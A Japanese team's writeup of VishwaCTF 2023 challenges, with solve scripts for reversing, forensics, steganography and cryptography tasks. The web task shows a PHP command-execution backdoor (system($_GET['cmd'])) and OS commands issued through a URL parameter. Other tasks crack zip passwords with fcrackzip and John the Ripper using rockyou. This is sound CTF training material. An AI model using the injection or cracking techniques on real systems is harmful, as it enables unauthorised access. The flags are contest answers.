この大会は2023/3/31 19:30(JST)~2023/4/2 19:30(JST)に開催されました。
今回もチームで参戦。結果は4476点で1090チーム中18位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome to VISHWACTF'23! (Welcome)
問題にフラグが書いてあった。
VishwaCTF{w3_ar3_an0nym0u5_w3_4r3_l3g1on_w3_d0_not_f0rg1v3_w3_do_not_f0rg3t}
Nice guys finish last (Welcome)
Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。
VishwaCTF{g3n3r1c_d1sc0rd_fl4g}
Phi-Calculator (Reversing)
enter_license()関数に注目する。
bUsername_trial = b"vishwaCTF" key_part_static1_trial = "VishwaCTF{m4k3_it_possibl3_" key_part_dynamic1_trial = "xxxxxxxx" key_part_static2_trial = "}" key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
check_key(user_key, bUsername_trial)がTrueになるuser_keyを考える。以下のコード部分からkey_part_dynamic1_trialが割り出せるので、key_full_template_trialはわかり、フラグが得られる。
if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: return False
#!/usr/bin/env python3 import hashlib bUsername_trial = b"vishwaCTF" key_part_static1_trial = "VishwaCTF{m4k3_it_possibl3_" key_part_static2_trial = "}" key_part_dynamic1_trial = "" for i in [4, 5, 3, 6, 2, 7, 1, 8]: key_part_dynamic1_trial += hashlib.sha256(bUsername_trial).hexdigest()[i] flag = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial print(flag)
VishwaCTF{m4k3_it_possibl3_b7cdc517}
Payload (Web)
インスタンス生成ボタンで、この問題のWebサーバが以下のURLで生成された。
https://ch42250117158.ch.eng.run/
https://ch42250117158.ch.eng.run/robots.txtにアクセスすると、以下のように表示された。
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } else { if(isset($_GET['btn'])){ echo "<b>System Details: </b>"; system("uname -a"); } } ?>
GETパラメータのcmdでOSコマンドを実行できるようだ。
https://ch42250117158.ch.eng.run/?cmd=lsにアクセスすると、以下のように表示された。
index.html index.php robots.txt
https://ch42250117158.ch.eng.run/?cmd=ls%20-la%20/にアクセスすると、以下のように表示された。
total 0 drwxr-xr-x 1 root root 28 Apr 2 03:32 . drwxr-xr-x 1 root root 28 Apr 2 03:32 .. -rwxr-xr-x 1 root root 0 Apr 2 03:32 .dockerenv lrwxrwxrwx 1 root root 7 Mar 8 02:05 bin -> usr/bin drwxr-xr-x 2 root root 6 Apr 18 2022 boot drwxr-xr-x 5 root root 360 Apr 2 03:32 dev drwxr-xr-x 1 root root 66 Apr 2 03:32 etc drwxr-xr-x 2 root root 6 Apr 18 2022 home lrwxrwxrwx 1 root root 7 Mar 8 02:05 lib -> usr/lib lrwxrwxrwx 1 root root 9 Mar 8 02:05 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Mar 8 02:05 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Mar 8 02:05 libx32 -> usr/libx32 drwxr-xr-x 2 root root 6 Mar 8 02:05 media drwxr-xr-x 2 root root 6 Mar 8 02:05 mnt drwxr-xr-x 2 root root 6 Mar 8 02:05 opt dr-xr-xr-x 205 root root 0 Apr 2 03:32 proc drwx------ 2 root root 37 Mar 8 02:08 root drwxr-xr-x 1 root root 21 Apr 2 03:32 run lrwxrwxrwx 1 root root 8 Mar 8 02:05 sbin -> usr/sbin drwxr-xr-x 2 root root 6 Mar 8 02:05 srv dr-xr-xr-x 13 root root 0 Apr 2 03:32 sys drwxrwxrwt 1 root root 6 Apr 2 03:32 tmp drwxr-xr-x 1 root root 66 Mar 8 02:05 usr drwxr-xr-x 1 root root 17 Mar 31 07:31 var
フラグが見つからない。環境変数を見てみる。
https://ch42250117158.ch.eng.run/?cmd=set%20|%20grep%20VishwaCTF にアクセスすると、フラグが見つかった。
FLAG='VishwaCTF{y0u_f-o-u-n-d_M3}'
VishwaCTF{y0u_f-o-u-n-d_M3}
The Sender Conundrum (Forensics)
添付のzipファイルにはパスワードがかかっているので、クラックする。
$ fcrackzip -u -D -p dict/rockyou.txt unzipme.zip PASSWORD FOUND!!!!: pw == BrandonLee
このパスワードでzipファイルを解凍、展開する。
$ unzip unzipme.zip Archive: unzipme.zip creating: unzipme/ [unzipme.zip] unzipme/flag.txt password: extracting: unzipme/flag.txt $ cat unzipme/flag.txt vishwaCTF{1d3n7i7y_7h3f7_is_n0t_4_j0k3}
vishwaCTF{1d3n7i7y_7h3f7_is_n0t_4_j0k3}
1nj3ct0r (Forensics)
pcapngからUSBのキー入力を読み取る。
#!/usr/bin/env python3 from scapy.all import * keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'), 0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'), 0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'), 0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'), 0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'), 0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'), 0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'), 0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'), 0x38: ('/', '?')} packets = rdpcap('usbforensics.pcapng') msg = '' for i in range(107, len(packets)): p = packets[i][Raw].load if len(p) == 66 and p[-2:] != b'\x00\x00': p0 = p[-2] p1 = p[-1] if p0 == 0: msg += keymap[p1][0] else: msg += keymap[p1][1] print(msg)
実行結果は以下の通り。
flag:{n0w_y0u_423_d0n3_w17h_u58_f023n51c5}
vishwaCTF{n0w_y0u_423_d0n3_w17h_u58_f023n51c5}
Can you see me? (Steganography)
$ binwalk havealook.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 134855 0x20EC7 Zip archive data, at least v2.0 to extract, compressed size: 188827, uncompressed size: 219888, name: hereissomething.wav 323796 0x4F0D4 End of Zip archive, footer length: 22
jpgの後ろにzipがくっついているので、切り出す。
$ binwalk havealook.jpg -e DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 134855 0x20EC7 Zip archive data, at least v2.0 to extract, compressed size: 188827, uncompressed size: 219888, name: hereissomething.wav 323796 0x4F0D4 End of Zip archive, footer length: 22 $ ls _havealook.jpg.extracted/ 20EC7.zip hereissomething.wav
wavファイルを抽出することができた。このwavファイルをAudacityで開き、スぺクトログラムを見ると、フラグが現れた。
vishwaCTF{n0w_y0u_533_m3}
Guatemala (Steganography)
$ file AV AV: GIF image data, version 89a, 498 x 498 $ exiftool AV ExifTool Version Number : 12.40 File Name : AV Directory : . File Size : 1086 KiB File Modification Date/Time : 2023:03:31 19:52:38+09:00 File Access Date/Time : 2023:03:31 20:12:00+09:00 File Inode Change Date/Time : 2023:03:31 19:52:38+09:00 File Permissions : -rwxrwxrwx File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 498 Image Height : 498 Has Color Map : Yes Color Resolution Depth : 8 Bits Per Pixel : 8 Background Color : 0 Animation Iterations : Infinite Comment : dmlzaHdhQ1RGe3ByMDczYzdfdXJfM1gxRn0= Frame Count : 17 Duration : 2.04 s Image Size : 498x498 Megapixels : 0.248
Commentにbase64文字列があるので、デコードする。
$ echo dmlzaHdhQ1RGe3ByMDczYzdfdXJfM1gxRn0= | base64 -d vishwaCTF{pr073c7_ur_3X1F}
vishwaCTF{pr073c7_ur_3X1F}
XOR (Steganography)
$ exiftool BossCat.jpg ExifTool Version Number : 12.40 File Name : BossCat.jpg Directory : . File Size : 2.7 MiB File Modification Date/Time : 2023:04:02 08:56:47+09:00 File Access Date/Time : 2023:04:02 08:58:48+09:00 File Inode Change Date/Time : 2023:04:02 08:56:47+09:00 File Permissions : -rwxrwxrwx File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 72 Y Resolution : 72 XMP Toolkit : Image::ExifTool 12.51 License : IFAUCLJXLIWUKQZTGIWUIMZS Image Width : 3024 Image Height : 4032 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 3024x4032 Megapixels : 12.2
Licenseにbase32文字列らしきものがある。
>>> from base64 import * >>> b32decode('IFAUCLJXLIWUKQZTGIWUIMZS') b'AAA-7Z-EC32-D32'
$ steghide extract -sf BossCat.jpg -p AAA-7Z-EC32-D32 wrote extracted data to "secret.zip". $ unzip secret.zip Archive: secret.zip inflating: n1.png inflating: n2.png
2つ画像が出てきたので、問題タイトルから推測し、XORしてみる。
#!/usr/bin/env python3 from PIL import Image img1 = Image.open('n1.png').convert('RGB') img2 = Image.open('n2.png').convert('RGB') w, h = img1.size output_img = Image.new('RGB', (w, h), (255, 255, 255)) for y in range(h): for x in range(w): r1, g1, b1 = img1.getpixel((x, y)) r2, g2, b2 = img2.getpixel((x, y)) output_img.putpixel((x, y), (r1 ^ r2, g1 ^ g2, b1 ^ b2)) output_img.save('flag.png')
XORした画像には、URLが表示されている。
https://youtu.be/LlhKZaQk860
VishwaCTF{https://youtu.be/LlhKZaQk860}
Sharing is Caring (Cryptography)
暗号化処理の概要は以下の通り。
・k = 3 ・n = 5 ・flagの各バイト文字(i)について、以下を実行 ・shares, prime = generate_shares(i, k, n) ・prime: i以上i*2未満のランダム素数 ・coeffs: [i] + [2個の1以上prime未満のランダム整数] ・shares = [] ・i: 1以上5以下について以下を実行 ・x = i ・y = (coeffs[0] + coeffs[1] * x + coeffs[2] * x**2) % prime ・sharesに(x, y)を追加 ・shares, primeを返却 ・shares, primeを出力
5個出力されるが、3個で十分。
[1, 1, 1] [c0] [s0] [1, 2, 4] * [c1] = [s1] [1, 3, 9] [c2] [s2] A * C = S → C = inverse(A) * S
上記のイメージで、逆行列を使って復号する。
#!/usr/bin/env sage with open('output.txt', 'r') as f: params = f.read().splitlines()[1:] flag = '' for param in params: shares, prime = eval(param) A = matrix(Zmod(prime), [[1, 1, 1], [1, 2, 4], [1, 3, 9]]) S = matrix(Zmod(prime), [[shares[0][1]], [shares[1][1]], [shares[2][1]]]) C = A.inverse() * S flag += chr(C[0][0]) print(flag)
VishwaCTF{l4gr4ng3_f0r_th3_w1n!}
Email Incoming (Cryptography)
zipにはパスワードがかかっている。John the Ripperでクラックする。
$ zip2john Johnny.zip > hash.txt ver 2.0 efh 9901 Johnny.zip/five.png PKZIP Encr: cmplen=21244, decmplen=21211, crc=E4D4B413 ver 2.0 efh 9901 Johnny.zip/four.png PKZIP Encr: cmplen=18880, decmplen=18853, crc=B10E9111 ver 2.0 efh 9901 Johnny.zip/justanimage.png PKZIP Encr: cmplen=43671, decmplen=43719, crc=612627B5 ver 2.0 efh 9901 Johnny.zip/nine.png PKZIP Encr: cmplen=17930, decmplen=17897, crc=1AAA830 ver 2.0 efh 9901 Johnny.zip/one.png PKZIP Encr: cmplen=18485, decmplen=18452, crc=19F18677 ver 2.0 efh 9901 Johnny.zip/seven.png PKZIP Encr: cmplen=18044, decmplen=18011, crc=7A2C8B1D ver 2.0 efh 9901 Johnny.zip/six.png PKZIP Encr: cmplen=16998, decmplen=16965, crc=A633F686 ver 2.0 efh 9901 Johnny.zip/three.png PKZIP Encr: cmplen=18028, decmplen=17995, crc=7D8F6FF1 ver 2.0 efh 9901 Johnny.zip/two.png PKZIP Encr: cmplen=17420, decmplen=17387, crc=14687652 ver 2.0 efh 9901 Johnny.zip/zero.png PKZIP Encr: cmplen=17544, decmplen=17511, crc=67AE22C8 ver 2.0 efh 9901 Johnny.zip/.....txt PKZIP Encr: cmplen=67, decmplen=45, crc=C5570F53 ver 2.0 efh 9901 Johnny.zip/eight.png PKZIP Encr: cmplen=18346, decmplen=18313, crc=D3E04B0E NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. $ john --wordlist=dict/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status thunderbird (Johnny.zip/five.png) 1g 0:00:00:00 DONE (2023-04-02 09:27) 3.225g/s 52851p/s 52851c/s 52851C/s havana..cocoliso Use the "--show" option to display all of the cracked passwords reliably Session completed
パスワード "thunderbird" で解凍すると、以下のファイルが展開される。
・zero.jpg~nine.png 画像をつなげて読むと、itisjustastring ・.....txt 「Sometimes, what you see isn't what you get.」と書いてある。 ・justanimage.png ヘッダ4バイトが異なっているが、pyAesCryptで暗号化されているようだ。
justanimage.pngのヘッダ4バイトを以下のように修正する。
89 50 4e 47 -> 41 45 53 02
パスワードを"itisjustastring"として、pyAesCryptによる復号を行う。
#!/usr/bin/env python3 import pyAesCrypt password = 'itisjustastring' pyAesCrypt.decryptFile('justanimage_fix.png', 'justanimage_decrypted.png', password)
復号した画像は、QRコードの白黒反転したものなので、StegSolveのXorで反転して、読み取る。
vishwaCTF{3ncrypt!0ns_4r3_b0r!ng!!!!}